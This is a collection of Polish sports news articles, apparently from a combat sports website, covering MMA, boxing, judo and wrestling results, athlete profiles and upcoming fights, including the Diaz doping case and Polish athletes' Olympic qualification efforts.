W rozważaniach na temat Diaza pojawia się również kwestia testów, które przeszedł. 32-latek został przebadany trzykrotnie. W dwóch przypadkach wynik testu wskazywał na stosowanie przez niego zakazanych środków, jeden dał wynik negatywny. Testy były wykonywane w różnych miejscach. Dwie z nich w laboratoriach akredytowanych przez WADA, a jedna w innej placówce. Właśnie w tym ostatnim przypadku wynik okazał się pozytywny. Komisja nałożyła na Diaza surową karę i właśnie fakt nieuwzględnienia dwóch czystych próbek budzi duże wątpliwości.

W tej sprawie powiedziano już wiele. Jedni potępiają Diaza, a kolejni są gotowi go wspierać. St-Pierre oferuje swoją pomóc 32-latkowi. – Przed naszą walką padło wiele słów, ale wszystko odbywało się na sportowych zasadach. To już było i nie ma, co brać tego do siebie. Potrzebujemy takich postaci w sporcie jak Diaz. Chciałbym, żeby szybko wrócił. Jeśli mogę pomóc, bez pakowania się w kłopoty, chętnie to zrobię – zapewnia Kanadyjczyk.

KM

Mark Coleman

Amerykański zapaśnik i zawodnik MMA urodzony 20 grudnia 1964 roku w Freshmont.  Zapasy zaczął trenować jako nastolatek, a następnie kontynuował amatorską karierę zapaśniczą na studiach. Był mistrzem NCAA. Następnie został członkiem seniorskiej reprezentacji USA w stylu wolnym. W 1991 roku zdobył złoty medal igrzysk panamerykańskich oraz srebrny mistrzostw świata w kategorii wagowej do 100 kg. Na Igrzyskach Olimpijskich w Barcelonie w 1992 roku w tej samej kategorii wagowej zdobył siódme miejsce. Trzykrotny złoty medalista Mistrzostw Panamerykańskich. W 1996 roku rozpoczął swoją karierę w MMA, wygrywając turniej UFC 10. Dwa miesiące później wygrał  kolejny turniej UFC a w 1997 roku, po pokonaniu Dana Severna, został pierwszym mistrzem wagi ciężkiej UFC. Jeszcze w 1997 roku stracił tytuł mistrzowski na rzecz Maurice’a Smitha, a w kolejnych latach poniósł jeszcze dwie dotkliwe porażki z Pete’em Williamsem i z Pedro Rizzo. W 1999 roku zadebiutował w PRIDE FC, przegrywając przez poddanie z popularnym japońskim zawodnikiem , Nobuhiko Takadą. Następnie wygrał turniej Grand Prix 2000, pokonując kolejno Masaaki Satake, Akirę Shoji, Kazuyuki Fujitę i Ihora Wowczanczyna. Był to ostatni wielki sukces Colemana, który w kolejnych latach zaliczył serię przegranych z nowymi gwiazdami PRIDE w 2001 roku przegrał przez poddanie z Antonio Rodrigo Nogueirą, w 2004 roku do poddania zmusił go mistrz wagi ciężkiej Fiodor Jemieljanienko, a rok później został znokautowany przez Mirko Filipovicia. W 2006 roku starł się z jednym z najlepszych zawodników wagi średniej Mauricio Ruą. Rua który broniąc się przed obaleniem upadł tak niefortunnie że złamał rękę. Jednak Coleman tego nie zauważył , i dalej atakował krzyczącego z bólu Szoguna. W tedy na ring wtargnęli koledzy Ruy z klubu Chute Box z mistrzem wagi średniej Wanderleiem Silvą na czele i wdali się w bójkę z Colemanem i jego sekundantami. Po tym zajściu Coleman przeprosił Ruę, ale nie zostały one przyjęte, a Silva wyzwał do walki wszystkich członków klubu Hammer House. W październiku 2006 roku na pierwszej gali PRIDE w USA, Coleman ponownie stanął do walki z Jemieljanienką, jednak i tym razem przegrał przez poddanie. W marcu 2008 roku został włączony do Hali Sław UFC. Wkrótce potem, w sierpniu miał zmierzyć się z Brockiem Lesnarem, jednak wycofał się z tego pojedynku z powodu kontuzji.  Do rywalizacji powrócił w styczniu 2009 roku, gdy przegrał przez TKO w rewanżu z Ruą. Po kolejnej porażce w 2010 roku z rąk Randy’ego Couture’a władze UFC nie przedłużyly z Colemanem kontraktu. 

Kłys i Pogorzelec pojadą do Paryża

Zbliżają się kolejne zawody z cyklu Grand Slam w judo. Tym razem turniej zostanie rozegrany w Paryżu w dniach 17-18 października. We Francji wystąpią srebrne medalistki z mistrzostw świata w Astanie w starcie drużynowym – Katarzyna Kłys oraz Daria Pogorzelec.

Start w Paryżu będzie szansą na zwiększenie dorobku punktowego w klasyfikacji olimpijskiej. Oprócz dwóch pań we Francji zaprezentuje się również Łukasz Błach w kategorii 81kg.

Bez Ozdoby

W Paryżu miała wystartować Agata Ozdoba w kategorii 63kg, jednak reprezentantka Polski nie weźmie udziału w zawodach Grand Slam. Wszystko przez kontuzję kolana, której brązowa medalistka ubiegłorocznych mistrzostw Europy w Montpellier nabawiła się podczas Światowych Wojskowych Sportowych Igrzysk.

Ozdoba w Korei wywalczyła srebrny medal w starcie drużynowym, jednak po turnieju musi zadbać o swoje zdrowie. W pojedynku z Marianą Silvą Polka skręciła kolano. Niewykluczone, że konieczna będzie operacja. Teraz przed Ozdobą rehabilitacja, która pozwoli jej dojść do pełnej sprawności i wrócić na tatami.

Polka cały czas liczy się w walce o kwalifikację olimpijską. Na pewno nie wystąpi w Paryżu i wiele wskazuje na to, że zabraknie jej również w kolejnym turnieju Grand Slam, który odbędzie się w Abu Zabi.

Powalczą o punkty

Podczas Igrzysk Wojskowych z dobrej strony pokazała się Daria Pogorzelec w kategorii 78kg. Judoczka Wybrzeża Gdańsk indywidualnie wywalczyła srebro. Lepsza od Polki okazała się tylko Anamari Velensek. Do swojej kolekcji zawodniczka z Gdańska dorzuciła srebrny medal w rywalizacji drużynowej. Start w Paryżu będzie kolejnym wyzwaniem, przed którym stanie Pogorzelec. Punkty zdobyte w zawodach Grand Slam mogą znacznie przybliżyć ją do startu w Rio de Janeiro.

W drodze na Igrzyska Olimpijskie jest również Katarzyna Kłys (70kg). Polka musi gromadzić kolejne punkty, gdyż konkurencja nie śpi. W ostatnim starcie judoczka Polonii Rybnik stanęła na podium. Podczas Grand Prix w Taszkiencie Polka sięgnęła po brązowy medal. Wszystko wskazuje, że Kłys jest na dobrej drodze i jeśli w kolejnych startach będzie prezentowała równą formę to o wyjazd do Rio może być spokojna.

Pogorzelec i Kłys są w komfortowej sytuacji, z kolei Łukaszowi Błachowi punkty są bardzo potrzebne. Startujący w kategorii 81kg zawodnik balansuje na granicy. W marcowym zestawieniu był na 22. pozycji, która daje awans na igrzyska. Wystarczy mały spadek, aby Błach do Rio nie pojechał. Pełna koncentracja i kolejne punkty – to jest w tej chwili najważniejsze.

W Paryżu wystąpi ponad pięciuset judoków. Zaprezentuje się również zawodnik z Seszeli.

KM

Wilder czeka na Powietkina, a potem Kliczko?

Deontay Wilder jest głodny walki. Mistrz świata WBC w wadze ciężkiej chce zmierzyć się z Aleksandrem Powietkinem, jednak ten przygotowuje się do pojedynku z Mariuszem Wachem.

Amerykanin kontynuuje zwycięską passę. W tym roku zdobył pas WBC i dwukrotnie go obronił, ale wszystko wskazuje na to, że na tym nie koniec.

Nie będzie czekał?

Akcje Wilder wzrosły po wygranej walce z Bermane Stivernem, której stawką był pas WBC. Wielu ekspertów nie wierzyło w możliwości Amerykanina, choć ten w ponad trzydziestu pojedynkach kładł swoich rywali na deski. Po zdobyciu pasa to Wilder rozdaje karty.

Ameryka odżyła. Kibice boksu ze Stanów długo musieli czekać na swojego mistrza w kategorii królewskiej i w końcu Wilder spełnił ich marzenia. Z czasem stał się roszczeniowy. Nie jest typem pokornego baranka, a boksera, który wie, czego chce i zna swoją wartość. Statystyki mistrza świata WBC są imponujące. Wygrał wszystkie walki, a tylko jedna zakończyła się rozstrzygnięciem sędziowskim. W trzydziestu czterech przypadkach jego pojedynki kończyły się przed czasem.

Ostatnio Wilder stoczył walkę z Johannem Duhaupasem. Francuzowi nie dawano większych szans, jednak wytrwał w ringu z mistrzem jedenaście rund, choć w tym czasie nie był w stanie zaprezentować swoich atutów. Kto będzie kolejnym przeciwnikiem Wildera? Aleksander Powietkin jest pretendentem do tytułu mistrza świata wagi ciężkiej i obowiązkowym przeciwnikiem dla Amerykanina. Jednak 4 listopada Rosjanin zmierzy się z Mariuszem Wachem. Swoją drogą Polak w końcu stoczy walkę z mocnym rywalem, która określi jego pozycję w wadze ciężkiej. Po rywalizacji z Wachem Powietkin będzie mógł myśleć o konfrontacji z Wilderem. 

Pojawia się problem, gdyż Amerykanin nie zamierza czekać. Powietkin musi przygotować się do ewentualnej walki, ale najpierw konieczne są negocjacje. Nie wiadomo, ile potrwają i jak szybko uda się osiągnąć porozumienie. Trudno określić, czy walka zostałaby zorganizowana jeszcze w tym roku. – Oni mnie po prostu wstrzymują. Nie mogę cały czas siedzieć i czekać. W końcu jestem mistrzem świata i w takim wypadku to ja powinienem decydować, kiedy i gdzie będę walczył. Powietkin stoczy swój pojedynek w listopadzie i nie będzie od razu gotowy do rywalizacji, a ja chcę walczyć. Liczę na ten pojedynek i go wyczekuję – powiedział mistrz świata WBC.

Potem Kliczko?

W wadze ciężkiej jest dwóch twardych gości, którzy mogą poszczycić się mianem mistrza. Władimir Kliczko to klasa sama w sobie i ogromne doświadczenie. Wilder od niedawna w swoich rękach dzierży tytuł.

Kliczko przygotowuje się do pojedynku z Tysonem Fury'm, który odbędzie się 28 listopada. Brytyjczyk jest niepokorny i zapowiada swój triumf. Wielki Fury chce zaprezentować swoje możliwości, a zarazem zakończyć panowanie Ukraińca. W przypadku wygranej Kliczko kolejnym jego rywalem mógłby być Wilder, który takiej możliwości nie wyklucza. 

Amerykanin chce zdominować wagę ciężką i coraz poważniej o tym mówi. Jak na razie musi wykazać się cierpliwością. W tym roku stoczył już trzy walki.

KM

Browarski spełnił oczekiwania

Gala Spartan Fight w Chorzowie stała pod znakiem pojedynków w MMA, K-1 oraz muay thai. W walce wieczoru zaprezentował się Maciej Browarski.

W Chorzowie widzowie mogli obejrzeć dziesięć pojedynków, w których nie brakowało ciekawych akcji. Niektóre walki kończyły się szybko i niezwykle efektownie.

Wielki Litwin niestraszny

Maciej Browarski (93kg) chciał wrócić na właściwe tory. 34-latek w marcu podczas gali FEN 6 przegrał pojedynek z Marcinem Zontkiem. W ciągu dwóch lat Browarski stoczył dziewięć walk, z których cztery zakończyły się jego porażkami. Można powiedzieć, że zawodnik walczył w kartkę, jednak w Chorzowie był faworytem.

Rywalem Polaka był Rokas Stambrauskas. Przed pojedynkiem padało wiele pytań dotyczących dyspozycji Litwina, który górował nad Browarskim warunkami fizycznymi. W pierwszej rundzie Stambrauskas starał się zaskoczył popularnego „Sowę” i posłał w jego stronę kilka ciosów. Browarski musiał uważać, gdyż poczuł siłę Litwina. Jednak sprzymierzeńcem Polaka był czas. Stambrauskas ostatnimi czasy rzadko wchodził na arenę walki i dały o sobie znać jego problemy kondycyjne. W drugiej rundzie przewagę zyskał Browarski. Polski fighter sprowadził walkę do parteru i zdominował Litwina. Stambrauskas próbował duszenia gilotynowego, jednak doszło do czegoś niespodziewanego. Świetnie w tej sytuacji odnalazł się Browarski, który nie poddał się i był aktywny. 34-latek przyduszał swojego rywala ramieniem.

Do akcji wkroczył sędzia. Okazało się, że Litwin nie jest w stanie kontynuować rywalizacji. Strambrauskas „odpłynął, a Browarski mógł wznieść ręce w geście triumfu. Polak zanotował dwunastą wygraną w karierze.

Wygrana Królika

Michał Królik zaprezentował się w formule K-1 w kategorii 60kg, gdzie jego rywalem był Jan Szajko. Zawodnik Paco Team Katowice zdecydowanie rozpoczął pojedynek. Królik był aktywniejszy i zadawał więcej ciosów. W kolejnych rundach walka wyrównała się, ale znakomity początek dał fighterowi z Katowic wygraną. W walce na zasadach muay thai Adrianna Mazur (58kg) na punkty pokonała Katarinę Babisovą.

Wracamy do MMA. Do dwóch ciekawych pojedynków doszło w kategorii 77kg. Rafał Lassota szybko uporał się z Remigiuszem Rajwą. Już w pierwszej rundzie założył rywalowi kimurę i chorzowianin musiał odklepać. Michał Labus szukał możliwości zaskoczenia swojego przeciwnika. W końcu w trzeciej rundzie efekt dało duszenie zza pleców. Robert Michalik musiał się poddać.

Maciej Surma stoczył pojedynek w kategorii 93kg z Mariuszem Karskim. Zawodnik trenujący w klubie Gracie Barra Chorzów niemal do perfekcji opanował jiu-jitsu. Surma szukał możliwości, aby zaprezentować swoje atuty. Nie musiał długo czekać. Po siedemdziesięciu sekundach miał rywala „na widelcu”. Walka toczyła się w parterze i chwila nieuwagi sprawiła, że Karski znalazł się w sytuacji bez wyjścia. Surma założył rywalowi trójkąt nogami, który okazał się skuteczny i zapewnił mu wygraną.

KM

DOKUMENT: Historia pewnego wojownika.

Zapraszamy do obejrzenia filmu dokumentalnego o federacji Fighters Night. We wrześniu tego roku nasza telewizja odwiedzila z kamerami Wojciecha Wiśniewskiego i jego ekipę realizacyjną Fighters Night.

Fighters night to zawodowe gale kickboxingu w najbardziej popularnej formule K-1. Film opowiada o początkach Fighters Night o problemach w organizacji gal ale i o samym kickboxingu w Polsce. Naszej telewizji udało sie porozmawiać ze wszystkimi osobami, które miały wpływ na dzisiejszy wizerunek federacji Fighters Night.

Dowiecie się zatem skąd nazwa Fighters Night, jak powstał pomysł gal oraz, że na początku nie były to gale K-1 a następnie przechodzimy przez organizację, marketing, sponsoring. Dlaczego jedni organizują gale w halach sportowych a inni w ekskluzywnych hotelach. Fakty i mity o polskim kickboxingu.

Jednym słowem zaparaszamy do oglądania.

[kod]

Portugalskie zmagania Furmanek

W Lizbonie odbyły się kolejne zawody z cyklu Pucharu Świata w judo. Polakom nie udało się sięgnąć po medale, choć jedna z naszych zawodniczek była blisko podium.

Z dobrej strony w Portugalii pokazała się Katarzyna Furmanek w kategorii +78kg, która zajęła piątą pozycję. Do szczęścia zabrakło niewiele.

Podium w zasięgu

Katarzyna Furmanek była w tym sezonie po raz kolejny o krok od odniesienia sukcesu. Judoczka udanie rozpoczęła tegoroczne zmagania na tatami. Zawodniczka reprezentująca barwy AZS AWFiS Gdańsk okazała się najlepsza podczas turnieju European Open w Pradze. Furmanek triumfowała również podczas zawodów w Belgii, a w Pucharze Świata w Casablance była druga. Później przyszedł kryzys, który przełożył się na brak medali w startach indywidualnych podczas Igrzysk Europejskich w Baku oraz mistrzostw świata w Astanie. Z Kazachstanu judoczka przywiozła jednak srebrny medal wywalczony w rywalizacji drużynowej.

W Lizbonie Furmanek nawiązała do dobrych startów z początku roku. Do medalu zabrakło niewiele. Polka miała szansę na zdobycie brązowego medalu, jednak w decydującym pojedynku musiała uznać wyższość reprezentantki Holandii – Tessie Savelkouls. Łącznie Polka stoczyła w Portugalii cztery walki, z których dwie zakończyły się jej sukcesem.

W Lizbonie startowały również dwie inne reprezentantki Polski, jednak bez powodzenia. Już w eliminacjach z turnieju odpadły Karolina Pieńkowska (52kg) oraz Anna Borowska (57kg).

Szwarnowiecki walczył o brąz

W Pucharze Świata w Glasgow zaprezentował się Damian Szwarnowiecki, który rywalizował w kategorii 73kg. Polak pokazał się z dobrej strony i był o krok od medalu.

Szwarnowiecki podczas zawodów w Glasgow spotkał się z Andreą Regisem. Polak rywalizował z Włochem kilkukrotnie. W listopadzie 2012 roku Szwarnowiecki pokonał Regisa w finale młodzieżowych mistrzostw Europy U-23. Kolejne spotkanie z włoskim judoką było mało przyjemne dla naszego zawodnika. Szwarnowiecki rywalizował z Regisem podczas mistrzostw świata w Budapeszcie w potyczce drużynowej. Występ ten zakończył się dla polskiego judoki pechowo. Szwarnowiecki doznał poważnej kontuzji kolana, która wyeliminowała go ze startów na rok. Polak zrobił wszystko, aby dojść do pełnej sprawności i wrócić na tatami.

W Glasgow po raz kolejny miał okazję zmierzyć się z Regisem, którego pokonał, co otworzyło mu drogę do walki o medale. Polak triumfował w trzech pojedynkach i z nadziejami przystępował do półfinału. Holender Sam Van’T Westende pozbawił Szwarnowieckiego nadziei na walkę o złoto. Polakowi pozostał pojedynek o brązowy medal, w którym spotkał się z Jose Fernandesem. Portugalczyk nie kombinował, lecz szukał sposobu jak rozprawić się z przeciwnikiem. W końcu znalazł sposób na Szwarnowieckiego i wygrał przez ippon. Polak w Glasgow zajął piątą lokatę.

KM

Wyprawa bez zdobyczy

Mistrzostwa świata w boksie zakończyły się już dla naszych zawodników. W Dausze żadnemu z naszych reprezentantów nie udało się sięgnąć po medal.

Światowy czempionat był zarazem szansą na wywalczenie kwalifikacji na przyszłoroczne Igrzyska Olimpijskie w Rio de Janeiro. W większości przypadków jedynie miejsce na podium gwarantowało bilet do Brazylii.

Filipińczyk zatrzymał Jagodzińskiego

Już wcześniej było wiadomo, że marzeń o uzyskaniu kwalifikacji olimpijskiej w Dausze nie spełnią Tomasz Jabłoński (75kg) i Igor Jakubowski (91kg), którzy odpadli z rywalizacji odpadli w 1/8 finału. Nadzieje wiązano ze startem Dawida Jagodzińskiego w kategorii 49kg.

Jednak Polak od początku miał świadomość, że w ćwierćfinale stanie przed trudnym zadaniem. Rogen Ladon to wicemistrz Azji. Z pewnością ta informacja nie wzbudza większych emocji i nie powoduje u odbiorców strachu, jednak Filipińczyk zaimponował na mistrzostwach świata. Ladon wyeliminował z rywalizacji rozstawionego z numerem jeden Joselito Velasqueza. Tym samym stał się jednym z faworytów do medalu w wadze papierowej.

Jagodziński miał świadomość stawki rywalizacji. Aby uzyskać awans na igrzyska w Rio de Janeiro musiał w Dausze awansować do finału. Od początku pojedynku Polak starał się pokazać Filipińczykowi, że jest gotowy podjąć wyzwanie. Ladon miał dodatkowy atut w postaci wyjątkowego wsparcia. Z trybun wicemistrza Azji dopingował sam Manny Pacquiao. Filipińczyk prezentował się lepiej w ringu, co przekładało się na punkty wpisywane przez sędziów w ich karty. Ladon dobrze pracował w ringu, zadawał większą ilość ciosów, które osiągały cel.

Sędziowie nie mieli wątpliwości, kto zasłużył na zwycięstwo. Mimo ambitnej postawy Jagodziński musiał pogodzić się z porażką. Wszyscy trzej sędziowie byli jednogłośni i punktowali tak samo -30:27 na korzyść Ladona.

Trzeba czekać

Nie pozostaje nic innego. Marzenia o starcie na Igrzyskach Olimpijskich w Rio de Janeiro nadal trwają. Nasi bokserzy będą mieli okazję na wywalczenie kwalifikacji olimpijskiej w kolejnych turniejach.

Po raz kolejny mistrzostwa świata kończą się dla polskich pięściarzy porażką. Biało-czerwoni nadal muszą czekać na zdobycz medalową podczas światowego czempionatu. Ostatnim zawodnikiem, który stanął na podium mistrzostw świata był Aleksy Kuziemski. W 2003 roku w Bangkoku Polak sięgnął po brązowy medal w kategorii 81kg.

Do startu w Dausze biało-czerwoni przystępowali z dużymi nadziejami. W tym roku po srebrne medale na mistrzostwach Europy sięgnęli Tomasz Jabłoński i Igor Jakubowski. Bokser SAKO Gdańsk niejednogłośnie na punkty przegrał z Hindusem Vikashem Krishanem. Z kolei Jakubowski musiał uznać wyższość Geworgija Manukiana. Ukrainiec to srebrny medalista tegorocznych Igrzysk Europejskich. Tym razem Jagodziński osiągnął lepszy wynik od swoich kolegów. W Samokowie zatrzymał się na ćwierćfinale, a w Dausze to osiągnięcie okazało się najlepszym wynikiem polskich kadrowiczów.

KM

Brzozowski blisko podium w Korei

Na Światowych Wojskowych Igrzyskach Sportowych w południowokoreańskim Mungyeong zaprezentowali się nasi zapaśnicy. W stylu wolnym najlepiej zaprezentował się Krystian Brzozowski w kategorii 74kg. Polak był blisko podium.

Brzozowski miał szansę na zdobycz medalową, jednak w walce o trzecie miejsce poniósł porażkę. Pozostali nasi reprezentanci nie zachwycili. Klasycy odpadli w ćwierćfinałach, a zapaśnicy w stylu wolnym stoczyli zaledwie po jednej walce.

Irańczyk zdobył brąz

Wymówienie nazwiska pogromcy Brzozowskiego graniczy z cudem. Brązowy medal na Światowych Wojskowych Igrzyskach Sportowych w zapasach w stylu wolnym wywalczył Ezzatollah Akbarizarinkolaeim. Reprezentant Iranu okazał się lepszy od Krystiana Brzozowskiego, choć pojedynek był bardzo wyrównany.

Polak musiał zadowolić się piątą pozycją, jednak w Mungyeong pokazał się z dobrej strony. Rywalizujący w kategorii 74kg zapaśnik wygrał trzy walki. Swoją drogę do pojedynku o brąz rozpoczął od starcia z Hindusem Pardeepem Pardeepem, a następnie uporał się z Abdou Ahmedem z Egiptu. Polak potknął się w ćwierćfinale. Jego rywalem był Khetik Tcabolov i okazał się zdecydowanie lepszy od reprezentanta Orła Namysłów. Zawodnik z Rosji nie pozostawił Brzozowskiemu żadnych złudzeń. W związku z porażką Polakowi pozostała rywalizacja w repasażach, gdzie zaprezentował dobrą dyspozycję. Przez przewagę techniczną pokonał Byambadorja Bat Erdene z Mongolii, co dało mu przepustkę do starcia o brązowy medal. Jednak w decydującym starciu zabrakło mu szczęścia.

Maciej Balawender w kategorii 125kg stoczył w Korei tylko jedną walkę. Polak przegrał rywalizację z zapaśnikiem z Iranu Jafarem Shamsnaterim. W kategorii 65kg rywalizował Rafał Statkiewicz, jednak nie zapisze udziału w igrzyskach do udanych. Przez przewagę techniczną polskiego zapaśnika już w pierwsze walce pokonał Hindus Rajneesh Rajneesh.

Klasycy zatrzymali się na ćwierćfinale

W Mungyeong zaprezentowali się również nasi wojskowi zapaśnicy w stylu klasycznym. Michał Tracz rywalizował w kategorii 59kg, a Przemysław Kraczkowski w 71kg. Obaj odpadli z turnieju w ćwierćfinałach.

De Yan był pierwszym rywalem Tracza w Korei. Polak poradził sobie w rywalizacji z zapaśnikiem z Chin, jednak w kolejnej walce stanął przed niezwykle trudnym zadaniem. Ivan Kuylakov to utytułowany zawodnik, który zdobywał medale w mistrzostwach Rosji, a także na światowych arenach. W 2013 roku w Budapeszcie został wicemistrzem świata w kategorii 60kg. Rosjanin zdobywał również medale podczas mistrzostw Europy. W Mungyeong zbiegły się drogi Tracza i Kuylakova. Polak walczył ambitnie, pojedynek był zacięty i wyrównany, jednak triumfował zawodnik z Rosji.

Michael Joseph Hooker padł ofiarą Przemysława Kraczkowskiego w pierwszej rundzie rywalizacji w kategorii 71kg w stylu klasycznym. Pierwszą i jak się okazało jedyną. Polak w ćwierćfinale trafił na Ibrahima Eldousky’ego. Egipcjanin wygrał przez przewagę techniczna i tym samym zakończył przygodę Kraczkowskiego w szóstej edycji wojskowych igrzysk.

KM

Dwóch odpadło, jeden w ćwierćfinale

Mistrzostwa świata w boksie w Dausze zakończyły się dla dwóch polskich pięściarzy. W 1/8 finału odpadli Tomasz Jabłoński i Igor Jakubowski.

Start w Dausze jest szansą na uzyskanie kwalifikacji olimpijskiej na przyszłoroczne igrzyska w Rio de Janeiro. Po udanym występie podczas mistrzostw Europy w Samokowie nasi bokserzy z nadziejami ruszyli na światowy czempionat.

Decydowały punkty

Tomasz Jabłoński (75kg) i Igor Jakubowski (91kg) pokazali się z dobrej strony w Bułgarii, gdzie zostali wicemistrzami Europy. Start w Samokowie otworzył przed naszymi bokserami drzwi do mistrzostw świata w Dausze, jednak tym razem nie udało im się przekręcić klucza w kolejnym zamku. Nie udało się wykorzystać szansy i start w Rio de Janeiro oddala się.

Jakubowski w mistrzostwach świata stanął przed trudnym zadaniem. Polak trafił na Geworgija Manukiana z Ukrainy, który w tym roku wywalczył srebrny medal podczas Igrzysk Europejskich w Baku. Jakubowski musiał się sprężyć i wspiąć na wyżyny, aby odnieść sukces, jednak reprezentant Ukrainy okazał się zbyt mocny. Manukian pewnie wypunktował wicemistrza Europy. Sędziowie nie mieli żadnych wątpliwości i jednogłośnie wskazali na Ukraińca. Arbitrzy punktowali 30:27, 30:27, 30:27.

Tomasz Jabłoński w kategorii 75kg, który trenuje w SAKO Gdańsk trafił na Vikasa Krishana. Wicemistrz Europy przegrał na punkty, choć w decyzjach sędziów widać pewne rozbieżności. Jeden z arbitrów widział zwycięstwo Hindusa i to wyraźne – 30:27. Pozostałych dwóch sędziów oceniło pojedynek jako bardzo wyrównany, jednak zwycięzców wytypowali innych. Jeden z nich wskazał na Jabłońskiego 29:28, drugi uznał wyższość Krishana, co dało zwycięstwo Hindusowi.

Jagodziński z nadziejami

W grze pozostaje jeszcze jeden polski bokser. Dawid Jagodziński w kategorii 49kg (waga papierowa) nadal liczy się w rozgrywkach o kwalifikację olimpijską.

Nasz bokser miał nieco szczęścia. Prawo do udziału w mistrzostwach świata uzyskał w Samokowie, gdzie stoczył tylko jedną walkę, w której poniósł porażkę. Korzystne losowanie pozwoliło mu zacząć udział w turnieju od ćwierćfinału. Harvey Horn, czyli pogromca Jagodzińskiego, awansował do finału i Polak mógł wybrać się na światowy czempionat.

Trenujący w Astorii Bydgoszcz pięściarz udanie rozpoczął rywalizacją w Dausze. Polak awansował do ćwierćfinału pokonując na punkty Tinko Banabakowa. Bułgar to brązowy medalista tegorocznych mistrzostw Europy, a więc uchodził za faworyta w rywalizacji z naszym pięściarzem. Polak zdominował rywala w dwóch pierwszych rundach, Banabakow wrócił do gry w trzeciej odsłonie, jednak sędziowie jednoznacznie wskazali na Jagodzińskiego – 29:28, 29:28, 29:28.

Teraz przed Polakiem kolejne wyzwanie. Jagodziński w ćwierćfinale zmierzy się Rogenem Ladonem z Filipin. Jeśli wygra awansuje do półfinału i będzie o krok od wyjazdu do Rio de Janeiro. Kwalifikację na igrzyska uzyskają finaliści kategorii 49kg.

KM

Utytułowany Francuz zakończył karierę

Ugo Legrand zdobywał medale na najważniejszych imprezach w judo. Francuz podjął decyzję o zakończeniu kariery sportowej.

Problem w tym, że Legrand ma dopiero dwadzieścia sześć lat. Dla wielu jest to zastanawiające, dlaczego zawodnik w sile wieku podejmuje taką decyzję.

Cel: złoto olimpijskie

Legrand na każdym kroku podkreślał, że jego celem jest wywalczenie złotego medalu na Igrzyskach Olimpijskich. Nie zrealizował jeszcze tego planu. Francuz jest medalistą Igrzysk Olimpijskich. W Londynie sięgnął po brązowy medal w kategorii 73kg. Czy sięgnie kiedyś po złoto? Chyba nie, gdyż podjął decyzję o zakończeniu kariery, ale wszystko jest możliwe.

Multimedalista w pływaniu i legenda tego sportu Michael Phelps też odchodził. Amerykanin zdecydował się przerwać swoją karierę sportową po Igrzyskach Olimpijskich w Londynie. Dlaczego? Powodem był brak motywacji do dalszych startów, ale jak pokazał czas Phelps nie mógł wytrzymać bez pływania i postanowił wrócić na basen. Jego przerwa trwała niecałe dwa lata. Gdy podejmował decyzję o zakończeniu kariery miał dwadzieścia siedem lat.

Czy w przypadku Legranda można być podobnie? Czas pokaże, jednak przypadek Phelpsa obrazuje, że sportowcy często podejmują takie decyzje zbyt pochopnie. Niezaprzeczalną oczywistością jest konieczność posiadania motywacji do dalszych startów. Gdy osiągnie się praktycznie wszystko to pojawia się problem, ale w przypadku odejścia budzi się tęsknota za sportem, który się kocha.

Zapadła decyzja

Ugo Legrand decyzję o zaprzestaniu występów na tatami ogłosił po turnieju Grand Prix w Taszkiencie. Występ Francuza pozostawiał wiele do życzenia. Brązowy medalista igrzysk w Londynie stoczył w Taszkiencie zaledwie jedną walkę. Khadbaatar Narankhuu okazał się pogromcą Francuza.

Francuz na swoim profilu na jednym z portali społecznościowych zamieścił oświadczenie o zakończeniu przygody z judo. – Postanowiłem przejść na emeryturę , bo wiem jak trudne są występy na najwyższym poziomie i ile potrzeba do tego samozaparcia. Nie jestem w stanie spełnić tych wymagań. Miałem marzenie bycia mistrzem olimpijskim , w końcu byłem tylko na podium Igrzysk Olimpijskich. Jestem szczęśliwy, że mogłem osiągać sukcesy. To koniec mojej kariery na wysokim poziomie. Nigdy nie przestanę być judoką – poinformował Legrand.

Francuz przez całą swoją karierę rywalizował w kategorii 73kg. W 2012 roku w Czelabińsku wywalczył tytuł mistrza Europy. Pierwszy znaczący sukces odniósł dwa lata wcześniej w Wiedniu, kiedy zdobył brązowy medal na  europejskim czempionacie. Na światowej arenie z dobrej strony zaprezentował się w 2011 roku. Podczas mistrzostw świata w Paryżu wywalczył brązowy medal, co miało swój smak. Stanąć na podium wśród najlepszych we własnym kraju to wyjątkowa chwila. Dwa lata później Legrand wywalczył tytuł wicemistrza świata w Rio de Janeiro. Wszystko wskazuje na to, że ponownie do Brazylii nie pojedzie.

KM

Brodnicka powalczy o mistrzostwo?

Trwają rozmowy. Być może już niedługo Ewa Brodnicka stanie do rywalizacji o pas mistrzyni świata IBF wagi lekkiej.

26 września podczas gali w Łodzi Brodnicka na punkty pokonała Ewę Piątkowską. Była to walka o prymat w kobiecym boksie w Polsce, która otwiera przez bokserką kolejne drzwi.

Teraz tytuł

Animozje trwały wiele miesięcy i nadal nie ustają. Po pojedynku wydawało się, że wszystko jest już jasne. Panie na środku ringu uścisnęły się i jakby zaakceptowały stan rzeczy. Brodnicka wygrała, więc wszystko jest już jasne. Piątkowska przegrała przez niejednogłośną decyzję sędziów, choć już w pierwszej rundzie posłała swoją rywalkę na deski. Brodnicka wstała i kontynuowała walkę, a od trzeciej rundy zarysowywała się jej przewaga. Po tej walce pojawiły się pytania, co dalej.

Brodnicka nigdy nie ukrywała swoich planów. Polka podkreślała, że myśli o walce, której stawką będzie mistrzostwo świata. Podstawową kwestią był fakt konieczności wyjazdu zagranicę. Większość zawodniczek dominujących w wadze lekkiej pochodzi z Ameryki Południowej. Czy Brodnicka gotowa jest na zmagania o pas?

Po pokonaniu Piątkowskiej akcje 31-latki wzrosły. Wydaje się, że Brodnicka zakończyła wielomiesięczny spór dzięki wygranej i może skupić się na rozwoju swojej kariery. Zwycięstwo w Łodzi otworzyło przed polską bokserką następne drzwi. Obóz Brodnickiej otrzymuje kolejne propozycje. Federacja IBF wyznaczyła Polkę do pojedynku z Victorią Noelii Bustos, czyli posiadaczką pasa tej organizacji. Dotychczas zawodniczka z Argentyny odniosła czternaście zwycięstw na zawodowym ringu i zanotowała trzy porażki. W 2012 roku walczyła o pas WBC, jednak przegrała z Ericą Anabellą Farias.

Kiedy walka?

Cele Brodnickiej są znane, a jak widać nadszedł dla niej bardzo dobry czasy. Pytanie, kiedy kolejna walka i czy będzie nią pojedynek o pas mistrzyni świata. Ponoć rozmowy trwają. – Tak to prawda. Promotor negocjuje warunki ewentualnego starcia. Nie znam jeszcze szczegółów – poinformowała nas Ewa Brodnicka.

